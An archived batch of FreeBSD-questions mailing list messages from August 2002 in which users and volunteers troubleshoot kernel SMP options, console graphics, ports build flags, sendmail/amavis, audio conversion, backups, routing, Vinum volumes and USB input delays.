ertr1013@student.uu.se

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From owner-freebsd-questions  Sat Aug  3 14:10:24 2002
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I just installed 4.6 on my duel CPU system.  I added the below lines to
the Kernel config file just I had done for ver 4.0. (Which worked great)
Now, when I run 'config KERNEL' I get an error "unknown option" for
NINTR, NAPIC, NBUS & NCPU.

Her is a clip form my kernel config file.  Again, this same config
worked great for 4.0.

# To make an SMP kernel, the next two are needed
options 	SMP			# Symmetric MultiProcessor Kernel
options 	APIC_IO			# Symmetric (APIC) I/O
# Optionally these may need tweaked, (defaults shown):
options 	NCPU=2			# number of CPUs
options 	NBUS=4			# number of busses
options 	NAPIC=1			# number of IO APICs
options 	NINTR=24		# number of INTs

Thank for the help!

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From owner-freebsd-questions  Sat Aug  3 14:11: 4 2002
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From: lewiz <purple@lewiz.info>
To: Fuzzy <fuzzy@pooh.ASARian.org>
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Subject: Re: seejpeg 1.10 wont display on console.
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Fuz,

  Hi, I think you need to add some VESA options to your kernel config.
  I have the following:

options         VESA
options         VGA_WIDTH90
options         SC_PIXEL_MODE

  You will need to modify the VGA_WIDTH bit to suit your needs but I
think that's the general idea ;)
  Hope that's of some use.

-lewiz.

On Sat, Aug 03, 2002 at 04:56:05PM -0400, Fuzzy wrote:
>=20
> I didn't see any compile errors. what am I doing wrong?
>=20
> Fuz
>=20
> messages on console
>=20
> Not running in a graphics capable console,
> and unable to find one.
> Not running in a graphics capable console,
> and unable to find one.
> Not running in a graphics capable console,
> and unable to find one.
> can't open tasha.jpg
>=20
> the console is running cons25 in std 80x25.
>=20
> gettext-0.10.35
> gmake-3.79.1
> libgnugetopt-1.1
> libtool-1.3.4_2
> jpeg-6b
> svgalib-1.4.2_1
> seejpeg-1.10
>=20
> dmesg's from boot
>=20
> pci0: <S3 ViRGE DX/GX graphics accelerator> at 9.0 irq 10
> vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
> sc0: <System console> at flags 0x100 on isa0
> sc0: VGA <16 virtual consoles, flags=3D0x300>
>=20
>=20
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>=20

--=20
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From owner-freebsd-questions  Sat Aug  3 14:17:17 2002
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To: Jeff Deakle <jdeakle@dfxg.com>
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Subject: Re: SMP help
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Hi,

  This is slightly unrelated but CURRENT would be much better for a
dual-CPU machine since it has SMPng (next gen.) and generally better
handles SMP.  You might try the 5.0-DP1 ISOs or just CVSup to CURRENT.
  Excuse me, if you already know this ;)

-lewiz.

On Sat, Aug 03, 2002 at 04:25:47PM -0500, Jeff Deakle wrote:
> I just installed 4.6 on my duel CPU system.  I added the below lines to
> the Kernel config file just I had done for ver 4.0. (Which worked great)
> Now, when I run 'config KERNEL' I get an error "unknown option" for
> NINTR, NAPIC, NBUS & NCPU.
>=20
> Her is a clip form my kernel config file.  Again, this same config
> worked great for 4.0.
>=20
> # To make an SMP kernel, the next two are needed
> options 	SMP			# Symmetric MultiProcessor Kernel
> options 	APIC_IO			# Symmetric (APIC) I/O
> # Optionally these may need tweaked, (defaults shown):
> options 	NCPU=3D2			# number of CPUs
> options 	NBUS=3D4			# number of busses
> options 	NAPIC=3D1			# number of IO APICs
> options 	NINTR=3D24		# number of INTs
>=20
> Thank for the help!
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>=20

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From owner-freebsd-questions  Sat Aug  3 14:18: 4 2002
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From: Jud <jud@myrealbox.com>
To: Simon Siemonsma <simon.freebsd@hccnet.nl>,
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8/3/2002 4:14:51 PM, Ed Yu <edlyu@yahoo.com> wrote:

>One thing you'll find is that you can applications
>written for both as long as you have the base
>libraries. For example, I prefer to use Evolution for
>email and use Galeon for webbrowsing whereas I use
>Konsole for all my console work (vim) and I usually
>use KDE rather than Gnome. (I use fluxbox now but
>that's another story)
>
>-ed

That raises something I wanted to mention, which is that "neither" is also 
an acceptable answer.  I use Blackbox and Windowmaker as window 
managers, rox-filer (built from source - the port installs a fairly large 
number of Gnome dependencies I don't need) as file manager, Opera 
as browser, etc.  I haven't generally been interested in large 
"environments" like GNOME and KDE (though I do find myself curious 
about the e17 version of Enlightenment).

Jud



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From owner-freebsd-questions  Sat Aug  3 14:20: 7 2002
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On Sat, Aug 03, 2002 at 10:06:24PM +0200, Hanspeter Roth wrote:
> Hello,
> 
> I have upgraded from RELENG_4_5 to RELENG_4_6. 
> During boot I get:
> Doing initial network setup: hostname ipmon ipfilter3: cannot use port and neither tcp or udp
> 21: cannot use port and neither tcp or udp
> 23: cannot use port and neither tcp or udp
> 69: cannot use port and neither tcp or udp
> IP Filter: already initialized
> 
> This looks like ftp, telnet and tftp. But I haven't enabled these in
> inetd.conf.
> Who want's to start these services?

This is an error from ipf. You have rules that are set up on a
specific port, but you aren't specifying which protocol you want
the rule effective for.

> 
> Also uname -a yields:
> FreeBSD hostname 4.6.1-RELEASE-p7 FreeBSD 4.6.1-RELEASE-p7 #0: ...  i386
> 
> System and release appear twice.
> 
> -Hanspeter
> 

mike
-- 
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From: Jim Mock <mij@soupnazi.org>
To: cd9@buffalo.edu
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: How to adjust Makefile vars in ports?
Message-ID: <20020803213208.GA23923@branwen.sfo.geekhouse.net>
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On Sat, 03 Aug 2002 at 13:15:31 -0700, The Sapphire Cat wrote:
> I have GNOME installed on my system, but I've gone back to fvwm2. I
> want to rebuild gaim to not use the panel UI, as I no longer have a
> panel. I've tried the following options:
> 
> - Change /usr/ports/net/gaim/Makefile to read "WANT_GNOME = no"
> - use make WANT_GNOME=no
> - set $WANT_GNOME to no, then use make -E WANT_GNOME WANT_GNOME=no
> - set $WANT_GNOME to no, then use make -e
> - use gmake
> 
> Kernel and userland stuff is 4.6-STABLE; ports tree is 4.6-RELEASE. Is
> this broken in that particular port version, or is there some secret
> way of doing it right?

make -DWITHOUT_GNOME install

You can also put WITHOUT_GNOME= yes in /etc/make.conf.

- jim

-- 
jim mock <mij@soupnazi.org>                            jim@FreeBSD.org

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From owner-freebsd-questions  Sat Aug  3 15:10:50 2002
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From: Gheorghe Ardelean <ardelean@physics.uvt.ro>
To: freebsd-hackers@freebsd.org
Cc: freebsd-questions@freebsd.org
Subject: anyone running amavis and sendmail on 4.6-STABLE?
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Hi,

I've installed different versions of amavis (amavis-perl really outdated
then amavis-0.3.12.pre8  and finally amavisd-new via ports or direct).
None of this work with sendmail. 

I am trying to scan ONLY incoming mails.

All this installs end up with mail not being delivered because of:
stat=Deferred: local mailer (/usr/local/sbin/amavis) exited with EX_TEMPFAIL

Any help will be very much appreciated.

Best Regards,
Gheorghe ARDELEAN

West Univ. Of Timisoara
Dept. of Theoretical and Computational Physics
V. Parvan No.4, Ro-1900, Timisoara, ROMANIA



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From owner-freebsd-questions  Sat Aug  3 15:21:12 2002
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From: Fuzzy <fuzzy@pooh.ASARian.org>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: seejpeg 1.10 wont display on console. (fwd)
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On Sat, 3 Aug 2002, lewiz wrote:

> Fuz,
>
>   Hi, I think you need to add some VESA options to your kernel config.
>   I have the following:
>
> options         VESA
> options         VGA_WIDTH90
> options         SC_PIXEL_MODE
>
>   You will need to modify the VGA_WIDTH bit to suit your needs but I
> think that's the general idea ;)
>   Hope that's of some use.
>
> -lewiz.

I added those, and built the kernel, rebooted and now dmesg shows

VESA: v2.0, 4096k memory, flags:0x0, mode table:0xc00c0d16 (c0000d16)
VESA: S3 Incorporated. ViRGE /DX /GX
pci0: <S3 ViRGE DX/GX graphics accelerator> at 9.0 irq 10
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>

So its seeing the VESA console, right? I still get the same
errors tho :(.

Fuz



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From owner-freebsd-questions  Sat Aug  3 15:37:42 2002
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From: lewiz <purple@lewiz.info>
To: Fuzzy <fuzzy@pooh.ASARian.org>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: seejpeg 1.10 wont display on console. (fwd)
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This is a MIME-formatted message.  If you see this text it means that your
E-mail software does not support MIME-formatted messages.

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Fuz,

  Okay, I just did a double-check and found some stuff here
(http://www.svgalib.org/svgalib.user.faq.html#q9).  Basically it's
saying you need to be root or the owner of the console (so basically
check the file permissions for the console or make seejpeg setuid root
(be aware of the security risks associated too ;)).
  Hope that's some help - maybe you don't need the VESA things I
mentioned before - sorry!

-lewiz.

On Sat, Aug 03, 2002 at 06:17:31PM -0400, Fuzzy wrote:
>=20
> On Sat, 3 Aug 2002, lewiz wrote:
>=20
> > Fuz,
> >
> >   Hi, I think you need to add some VESA options to your kernel config.
> >   I have the following:
> >
> > options         VESA
> > options         VGA_WIDTH90
> > options         SC_PIXEL_MODE
> >
> >   You will need to modify the VGA_WIDTH bit to suit your needs but I
> > think that's the general idea ;)
> >   Hope that's of some use.
> >
> > -lewiz.
>=20
> I added those, and built the kernel, rebooted and now dmesg shows
>=20
> VESA: v2.0, 4096k memory, flags:0x0, mode table:0xc00c0d16 (c0000d16)
> VESA: S3 Incorporated. ViRGE /DX /GX
> pci0: <S3 ViRGE DX/GX graphics accelerator> at 9.0 irq 10
> vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
> sc0: <System console> at flags 0x100 on isa0
> sc0: VGA <16 virtual consoles, flags=3D0x300>
>=20
> So its seeing the VESA console, right? I still get the same
> errors tho :(.
>=20
> Fuz
>=20
>=20
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>=20

--=20
Who made the world I cannot tell;
'Tis made, and here am I in hell.
My hand, though now my knuckles bleed,
I never soiled with such a deed.
		-- A. E. Housman
------------------------------------------------------------------------
--|| http://lewiz.info/ | http://www.westwood.karoo.net/pubring.gpg ||--

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From owner-freebsd-questions  Sat Aug  3 15:43:50 2002
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At 3 Aug 2002 it looks like Lowell Gilbert composed:

> "MET" <met@uberstats.com> writes:
> 
> > 1. How do you restart inetd.conf without restarting the machine?
> > 

I used to use "kill -HUP <pid>" then one day did a "kill -l" and
saw that -HUP was associated to the number "1" so now I just do
"kill -1 <pid>" or if you just trying to have some fun....

kill -1 `cat /var/run/inetd.pid` which will do the same thing.
(those are backticks on the cat command)

Don't always expect to see the deamon's PID there for there are
alwasys tarball compile options to put the "*.pid" elsewhere. 

-- 
|<--------------------------------72---------------------------------->|
Bill Schoolcraft            
PO Box 210076                 -o)
San Francisco CA 94121         /\
"UNIX, A Way Of Life."        _\_v
http://forwardslashunix.com



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From owner-freebsd-questions  Sat Aug  3 15:47:33 2002
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From: Fuzzy <fuzzy@pooh.ASARian.org>
To: lewiz <purple@lewiz.info>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: seejpeg 1.10 wont display on console. (fwd)
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On Sat, 3 Aug 2002, lewiz wrote:

> Fuz,
>
>   Okay, I just did a double-check and found some stuff here
> (http://www.svgalib.org/svgalib.user.faq.html#q9).  Basically it's
> saying you need to be root or the owner of the console (so basically
> check the file permissions for the console or make seejpeg setuid root
> (be aware of the security risks associated too ;)).
>   Hope that's some help - maybe you don't need the VESA things I
> mentioned before - sorry!
>
> -lewiz.

it installed itself suid root. still fails.

-rws--x--x  1 root  bin  29768 Aug  3 16:46 /bin/seejpeg

*sigh*

Fuz


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From owner-freebsd-questions  Sat Aug  3 16:10:46 2002
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Date: Sat, 3 Aug 2002 18:14:56 -0500
From: Ken Wills <kenwills@tds.net>
To: Andrew Boothman <andrew@cream.org>
Cc: Piyush <justsovanilla@yahoo.co.in>, freebsd-questions@FreeBSD.ORG
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+++ Andrew Boothman [03/08/02 20:07 +0100]:
> Piyush wrote:
> 
> >yeah well I did........configured X.........using the
> >e-book........(handbook.........whatever.......:->).....I did have a few
> >questions.........the book says you can use XDM for graphical
> >logins.......but the problem is i used XDM but after logging in X restarts
> >and i'm back at the same xdm login.........i have kdm ........any idea how I
> >could use that as a login agent.......?
> >Lastly.........how can I mount my Windows partitions ?
> >
> 

put whatever you want to start when you login in ~/.xsession

ie

/usr/X11R6/bin/gnome-session

for kde the full path to startkde.

Ken

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Hi,

I'm running mpg123 Version 0.59r (1999/Jun/15) on FreeBSD
4.6-STABLE and have a feature question.   I'm trying to convert
mp3's to wav for cd burning and saw in several archives that
mpg123 is supposed to convert to wav with this usage:

	# mpg123 -w myfile.wav myfile.mp3

See ( http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&threadm=8l254l%24g9a%241%40FreeBSD.csie.NCTU.edu.tw&rnum=1&prev=/groups%3Fhl%3Den%26lr%3D%26ie%3DUTF-8%26oe%3DUTF-8%26q%3Dmp3%2Bwav%2Bconvert%26btnG%3DGoogle%2BSearch%26meta%3Dgroup%253Dmailing.freebsd.questions )

When I try it I get:

	Format unknown
	Conversion complete

and no output wav file.  A look at the man page mentions nothing
about a -w switch or output to wav format.

I've seen references to a --wav switch on other mailing lists.

Anyone know what's up?  I'd love to use mpg123 as I'm quite
familiar and comfortable with it.


-- 
Regards,
Doug

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From owner-freebsd-questions  Sat Aug  3 17:13:40 2002
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To: "Doug Poland" <doug@polands.org>, <questions@freebsd.org>
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Subject: Re: mpg123 wav output?
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> # mpg123 -w myfile.wav myfile.mp3
> [...]
> When I try it I get:
>
> Format unknown
> Conversion complete
>
> and no output wav file.  A look at the man page mentions nothing
> about a -w switch or output to wav format.
>
> I've seen references to a --wav switch on other mailing lists.
>
> Anyone know what's up?  I'd love to use mpg123 as I'm quite
> familiar and comfortable with it.

man mpg321 (mpg321! not mpg123) shows that there is a -w switch. I tried it
out, it works just fine with mpg321.

mpg321 -w new.wav old.mp3




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From owner-freebsd-questions  Sat Aug  3 17:16:54 2002
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Invalid partition
No /boot/loader
>>FreeBSD/i386 BOOT
Default: 0:ad(0,a)/kernel
boot:
Invalid Partition
No /kernel

Played with Partition Magic 7 a bit. [some fat slice went to logical] Reran 
XP' 'fixmbr & fixboot' commands. Booted up with Bootable BSD CD. Fixed 
master boot record using /stand/sysinstall. Done it XX times. Rebooted.  Hit 
F3 as usual. You get the picture.

What can it be?


Thanks.



_________________________________________________________________
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From owner-freebsd-questions  Sat Aug  3 18:38:42 2002
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From: Nathan Kinkade <nkinkade@dsl-only.net>
To: jdeakle@dfxg.com
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On Sat, 03 Aug 2002 16:25:47 -0500
Jeff Deakle <jdeakle@dfxg.com> wrote:

> I just installed 4.6 on my duel CPU system.  I added the below lines
> to the Kernel config file just I had done for ver 4.0. (Which worked
> great) Now, when I run 'config KERNEL' I get an error "unknown option"
> for NINTR, NAPIC, NBUS & NCPU.
> 
> Her is a clip form my kernel config file.  Again, this same config
> worked great for 4.0.
> 
> # To make an SMP kernel, the next two are needed
> options 	SMP			# Symmetric MultiProcessor Kernel
> options 	APIC_IO			# Symmetric (APIC) I/O
> # Optionally these may need tweaked, (defaults shown):
> options 	NCPU=2			# number of CPUs
> options 	NBUS=4			# number of busses
> options 	NAPIC=1			# number of IO APICs
> options 	NINTR=24		# number of INTs

I wonder if those options are outmoded?  I just cvsuped RELENG_4 a few
days ago and rebuilt my SMP system with with only options SMP and
APIC_IO.  I haven't benchmarked the system but the kernel reports that
it is launching CPU 1.  Also, the current LINT doesn't mention anything
about those options either.

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From owner-freebsd-questions  Sat Aug  3 18:43:12 2002
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On Sat, 3 Aug 2002 09:11:24 +0200
Simon Siemonsma <simon.freebsd@hccnet.nl> wrote:

> Beware however that Linux browser plug-ins would not work with native FreeBSD 
> programs. So if you install KDE you can't use the linux Flash plugin
> FreeBSD. The same is true for the cross-over plug-in.

There seems to be a FreeBSD flash plugin, my BSD flavor of Mozilla works fine with Flash and Java. (Though thanks to Sun not yet approving the shipping of Java binaries installation is a multi-part affair.) 

BTW, you can always use Linux-Mozilla or Linux-Netscape4 to use Linux plugins such as Linux realplayer. They work fine under BSD, there's no real performance hit for the emulation. I don't know about the cross-over plugin though, that could be tricky since it's a windows emulator, though since I haven't bought it I don't miss it. :-)

> Personally I'm considering switching to Gentoo because of this.

Your choice. Gentoo may have a form of ports implemented in python, but that's about where the BSDishness ends.

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From owner-freebsd-questions  Sat Aug  3 18:52:56 2002
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On Sun, 4 Aug 2002, Gheorghe Ardelean wrote:

>
> Hi,
>
> I've installed different versions of amavis (amavis-perl really outdated
> then amavis-0.3.12.pre8  and finally amavisd-new via ports or direct).
> None of this work with sendmail.
>
> I am trying to scan ONLY incoming mails.
>
> All this installs end up with mail not being delivered because of:
> stat=Deferred: local mailer (/usr/local/sbin/amavis) exited with EX_TEMPFAIL
>
> Any help will be very much appreciated.
>

I have it successfully running with sendmail 8.12.3 and 4.5 release (plus
security patches)... the differences between 4.5 and 4.6 should be
minimal.


I'm not sure how exactly you've got it configured, but what you'll have to
do to scan only incoming mails is to set up a new local delivery agent,
rather than using the milter interface. Using amavisd, sendmail 8.12.x and
milter will scan all emails, you'll probably be better off with
amavis-perl. I'd be able to help you more if I saw the relevant parts of
your sendmail.cf file ... EX_TEMPFAIL seems to suggest something can't be
written in the temp directories, so make sure /var/amavis exists and is
mode 700 (you could even set it to 777 in case there's an ownership issue
for testing)...

I guess to help you more I'd need to see your mailer definitions from
/etc/mail/sendmail.cf

- Jeff

--

Jeff Jirsa
jeff@unixconsults.com

-- 


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From owner-freebsd-questions  Sat Aug  3 19:16:43 2002
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Subject: Re: mpg123 wav output?
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Pascal Giannakakis said:
>> # mpg123 -w myfile.wav myfile.mp3
>> [...]
>> When I try it I get:
>>
>> Format unknown
>> Conversion complete
>>
>> and no output wav file.  A look at the man page mentions nothing about
>> a -w switch or output to wav format.
>>
>> I've seen references to a --wav switch on other mailing lists.
>>
>> Anyone know what's up?  I'd love to use mpg123 as I'm quite
>> familiar and comfortable with it.
>
> man mpg321 (mpg321! not mpg123) shows that there is a -w switch. I tried
> it out, it works just fine with mpg321.
>
> mpg321 -w new.wav old.mp3
>
Now that's clever :)  mpg321 instead of mpg123.  For guys that are slightly
dislexic, that's a killer.

I'll try it out, thanks for the tip!


-- 
Regards,
Doug



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From owner-freebsd-questions  Sat Aug  3 19:17: 9 2002
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Date: Sat, 3 Aug 2002 19:17:07 -0700
From: Scott Lampert <scott@lampert.org>
To: freebsd-questions@freebsd.org
Subject: Sound issues
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Ever since installing 4.6-RELEASE and up I've been having strange 
problems with my sound cards in my systems. Sound will work for a short
while and then it will lock up with a steady repetitive sound, like a
skipping cd.  One is a Soundblaster Live and the other is an ESS1370.  I
had these sorts of issues in 4.5-RELEASE until I applied the patch in PR
kern/35004 at which point sound worked beautifully.  Now there appears
to be a lot of changes in the files that get patched in the recent
kernel sources and they won't apply at all anymore.  Has anyone else
seen this?
        -Scott

-- 
Scott Lampert
<scott@lampert.org>
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
-Benjamin Franklin, 1759

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From owner-freebsd-questions  Sat Aug  3 19:40:42 2002
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http://www.FreeBSD.org/cgi/ports.cgi?query=KDE+mp3&stype=all&release=4.6-STABLE%2Fi386

Sorry no results.  >:-(

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Sat Aug  3 19:56:13 2002
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From: Mike Tancsa <mike@sentex.net>
To: "Adam@junik.lv" <adam@junik.lv>
Cc: questions@freebsd.org
Subject: Re: wavelan as Netinterface
Date: Sat, 03 Aug 2002 22:58:29 -0400
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On Sat, 3 Aug 2002 16:24:23 +0300, in sentex.lists.freebsd.questions you
wrote:

>Hi all,
>I'd really appreciate it if you could help with
>the following case:
>
>I need to route 3 subnets from one router to the other peer on (Orinoco)
>Wavelan card in P2P mode.
>The question is how can I specify the wi0 as the net interface?
>
>E.g. /sbin/route add -net 225.125.125.116/26 wi0 175.215.123.21
>where 175.215.123.21 is the destination GW.


You dont need to specify the interface in the route command.

route add 225.125.125.116/16 175.215.123.21

will do it, provided the host you are on is on the same subnet as
175.215.123.21

	---Mike
Mike Tancsa  (mdtancsa@sentex.net)	=09
Sentex Communications Corp,   	=09
Waterloo, Ontario, Canada
"Given enough time, 100 monkeys on 100 routers=20
could setup a national IP network." (KDW2)

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From owner-freebsd-questions  Sat Aug  3 19:58:56 2002
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From: Mike Tancsa <mike@sentex.net>
To: "Grant Cooper" <grant.cooper@nucleus.com>
Cc: questions@freebsd.org
Subject: Re: Backing up a sever with Windows product?
Date: Sat, 03 Aug 2002 23:01:14 -0400
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On Sat, 3 Aug 2002 02:16:23 -0600, in sentex.lists.freebsd.questions you
wrote:
>I am using a product call Parogon, the difference between backing up =
Windows
>and Unix is that when Windows is backed up it using compression, but not=
 in
>freeBSD=20


/sbin/dump -0uanf - /usr | /usr/bin/gzip > =
/backup-partition/usr-level0.gz

	---Mike

Mike Tancsa  (mdtancsa@sentex.net)	=09
Sentex Communications Corp,   	=09
Waterloo, Ontario, Canada
"Given enough time, 100 monkeys on 100 routers=20
could setup a national IP network." (KDW2)

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From owner-freebsd-questions  Sat Aug  3 20:29:47 2002
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From: Kyle Butt <kylebutt@myrealbox.com>
To: freebsd-questions@freebsd.org
Subject: Unwanted Network Interfaces
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I recently noticed some strange Network interfaces: rl0f[0-3].

rl0f0: flags=8842<BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        ether 00:4f:4e:03:38:9c
rl0f1: flags=8842<BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        ether 00:4f:4e:03:38:9c
rl0f2: flags=8842<BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        ether 00:4f:4e:03:38:9c
rl0f3: flags=8842<BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        ether 00:4f:4e:03:38:9c


I'm running FreeBSD-current as of Jul 30th.
I have a Realtek Card: rl0 with the same mac address

I've tried to destroy the interface with ifconfig:

bash-2.04$ sudo ifconfig rl0f0 destroy 
ifconfig: SIOCIFDESTROY: Invalid argument

bash-2.04$ sudo ifconfig rl0f0 link 00:4f:4e:03:38:9c delete 
Segmentation fault (core dumped)

bash-2.04$ sudo ifconfig rl0f0 link 00:4f:4e:03:38:9c destroy
ifconfig: SIOCIFDESTROY: Invalid argument

None of these works. Can anyone tell me where these interfaces
come from and can/how/should I remove them?

Thanks in advance, 
       Kyle

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From owner-freebsd-questions  Sat Aug  3 20:49:32 2002
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From: Greg Lehey <grog@FreeBSD.org>
To: Drew Raines <drew@rain3s.net>
Cc: freebsd-questions@FreeBSD.org
Subject: Re: Striped Vinum on two drives
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On Thursday,  1 August 2002 at 12:08:16 -0500, Drew Raines wrote:
> Drew Raines wrote:
>>
>> (2)  How do I rename that ``1'' volume?  I created it with help
>>      from an example in the archives without realizing that
>>      would be the name.
>
> Nevermind about this one.  I found the ``rename'' command.  And,
> surprisingly, it'll let you rename a volume without necessarily
> renaming the corresponding plexes.  Is that bad?

No, or it wouldn't do it.

Greg
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From owner-freebsd-questions  Sat Aug  3 20:53: 9 2002
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Date: Fri, 2 Aug 2002 09:04:49 +0930
From: Greg Lehey <grog@FreeBSD.org>
To: Drew Raines <drew-dated-1028646153.33b208@rain3s.net>
Cc: freebsd-questions@FreeBSD.org
Subject: Re: Striped Vinum on two drives
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On Thursday,  1 August 2002 at 10:04:27 -0500, Drew Raines wrote:
> Greg 'groggy' Lehey wrote:
>>
>> On Wednesday, 31 July 2002 at 16:18:40 -0500, Drew Raines wrote:
>>> I have a machine with two hard drives:
>>>
>>>    ad0  Maxtor     13 GB
>>>    da0  Fujitsu    36 GB
>>>
>>> I'd like to create root, swap, and usr partitions on the
>>> beginning of ad0, and have the rest of the drive, as well as
>>> all of da0 be one giant 45 GB filesystem.  Something like:
>>>
>>>    ad0  /
>>>         swap
>>>         /usr
>>>         /bigfs
>>>    da0  /bigfs (cont.)
>
> [...]
>
>> No, I'd consider this a fairly typical application.
>
> [...]
>
>>> Also, *can* I do it?  I just want the two spindles to look
>>> like one disk, striping the data accordingly.
>>
>> Yes, you can do that.  But given the discrepancy in size
>> between your disks, you might find it more useful to
>> concatenate them.
>
> OK.  I've done that, but I have a few questions.
>
> (1)  Where did my space on /bigfs go?
>
>          Filesystem   1K-blocks  Used    Avail Capacity  Mounted on
>          /dev/da0s1a      99742 33574    58190    37%    /
>          /dev/da0s1e    3096462 81006  2767740     3%    /usr
>          procfs               4     4        0   100%    /proc
>          /dev/vinum/1  43187825     1 39732798     0%    /bigfs
>
>      Does it really take 3.5 GB for Vinum to store information?

No.

> I thought it was 265 blocks.

Correct, but this is on the drive, not in the volume.  The size of the
volume is what you get.

The file system size looks right to me.  Don't forget that UFS
reserves approximately 10% of the total space for root, and the value
you see looks right to me.

Greg
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From owner-freebsd-questions  Sat Aug  3 20:57:33 2002
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From: Jordi YC <jordi_yc@lycos.es>
To: freebsd-questions@FreeBSD.ORG
Subject: "Delays" with _USB_ mouse and keyboard
Date: Sat, 3 Aug 2002 23:57:13 -0400
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Hi,

I have some trouble with all USB devices (scanner, keyboard, and mouse). For 
now I would like to work on the mouse and keyboard, so I will not burn my 
hands while I use the laptop.

It appears that the mouse and keyboard events are *not* processed in real 
time. It feels like I am under a terminal with a 1 bit/sec connection. That 
is, when I move the mouse, the mouse will react ~30 seconds after. The same 
with the keyboard. The command I use to switch keyboard and test is 
kbdcontrol -k /dev/kbd1 < /dev/console

I am running FreeBSD-STABLE (cvsup two days ago with the appropiate install 
world procedure)

I installed the GENERIC kernel just in case it was something from my config, 
but it does the same thing. The current kernel uses only the device and the 
the device ohci is commented.

I tried to use only the mouse connected to the USB port, but the effects are 
the same ones.

dmesg and usbdevs -v follows. Please let me know if there is additional info I 
can provide.

Any ideas?

dmesg
##########
Copyright (c) 1992-2002 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
        The Regents of the University of California. All rights reserved.
FreeBSD 4.6-STABLE #11: Sat Aug  3 23:20:29 EDT 2002
    root@harry2.bcn.dyndns.org:/usr/obj/usr/src/sys/HARRY2
Timecounter "i8254"  frequency 1193182 Hz
CPU: Pentium III/Pentium III Xeon/Celeron (745.24-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x686  Stepping = 6
  
Features=0x383f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE>
real memory  = 333971456 (326144K bytes)
avail memory = 320364544 (312856K bytes)
Preloaded elf kernel "kernel" at 0xc0410000.
VESA: v3.0, 1024k memory, flags:0x1, mode table:0xc038d1e0 (1000040)
VESA: Intel815M(TM) Graphics Chip Accelerated VGA BIOS
Pentium Pro MTRR support enabled
md0: Malloc disk
Using $PIR table, 9 entries at 0xc00fdf30
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
agp0: <Intel 82815 (i815 GMCH) SVGA controller> mem 
0xf4000000-0xf407ffff,0xf8000000-0xfbffffff irq 9 at device 2.0 on pci0
pcib1: <PCI to PCI bridge (vendor=8086 device=2448)> at device 30.0 on pci0
pci1: <PCI bus> on pcib1
pci1: <unknown card> (vendor=0x104c, dev=0x8021) at 0.0 irq 9
pcic0: <Ricoh RL5C475 PCI-CardBus Bridge> irq 0 at device 2.0 on pci1
pcic0: PCI Memory allocated: 0x88000000
pcic0: Polling mode
pccard0: <PC Card bus (classic)> on pcic0
fxp0: <Intel Pro/100 Ethernet> port 0x3000-0x303f mem 0xf4104000-0xf4104fff 
irq 9 at device 8.0 on pci1
fxp0: Ethernet address 08:00:46:16:ac:a5
inphy0: <i82562ET 10/100 media interface> on miibus0
inphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
isab0: <PCI to ISA bridge (vendor=8086 device=244c)> at device 31.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <Intel ICH2 ATA100 controller> port 0x1800-0x180f at device 31.1 on 
pci0
ata0: at 0x1f0 irq 14 on atapci0
ata1: at 0x170 irq 15 on atapci0
uhci0: <Intel 82801BA/BAM (ICH2) USB controller USB-A> port 0x1820-0x183f irq 
9 at device 31.2 on pci0
usb0: <Intel 82801BA/BAM (ICH2) USB controller USB-A> on uhci0
usb0: USB revision 1.0
uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
uhub1: Mitsumi Electric Hub in Apple Extended USB Keyboard, class 9/0, rev 
1.10/1.22, addr 2
uhub1: 3 ports with 2 removable, bus powered
ukbd0: Mitsumi Electric Apple Extended USB Keyboard, rev 1.10/1.22, addr 3, 
iclass 3/1
kbd1 at ukbd0
uhid0: Mitsumi Electric Apple Extended USB Keyboard, rev 1.10/1.22, addr 3, 
iclass 3/0
ums0: Logitech USB Trackball, rev 1.10/14.00, addr 4, iclass 3/1
ums0: 5 buttons
uscanner0: Color  FlatbedScanner 13, rev 1.00/1.00, addr 5
pci0: <unknown card> (vendor=0x8086, dev=0x2443) at 31.3 irq 9
uhci1: <Intel 82801BA/BAM (ICH2) USB controller USB-B> port 0x1840-0x185f irq 
9 at device 31.4 on pci0
usb1: <Intel 82801BA/BAM (ICH2) USB controller USB-B> on uhci1
usb1: USB revision 1.0
uhub2: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub2: 2 ports with 2 removable, self powered
ugen0: Sony USB Memory Stick Slot, rev 1.10/1.80, addr 2
pcm0: <Intel 82801BA (ICH2)> port 0x1880-0x18bf,0x1c00-0x1cff irq 9 at device 
31.5 on pci0
pci0: <unknown card> (vendor=0x8086, dev=0x2446) at 31.6 irq 9
eisa0: <EISA bus> on motherboard
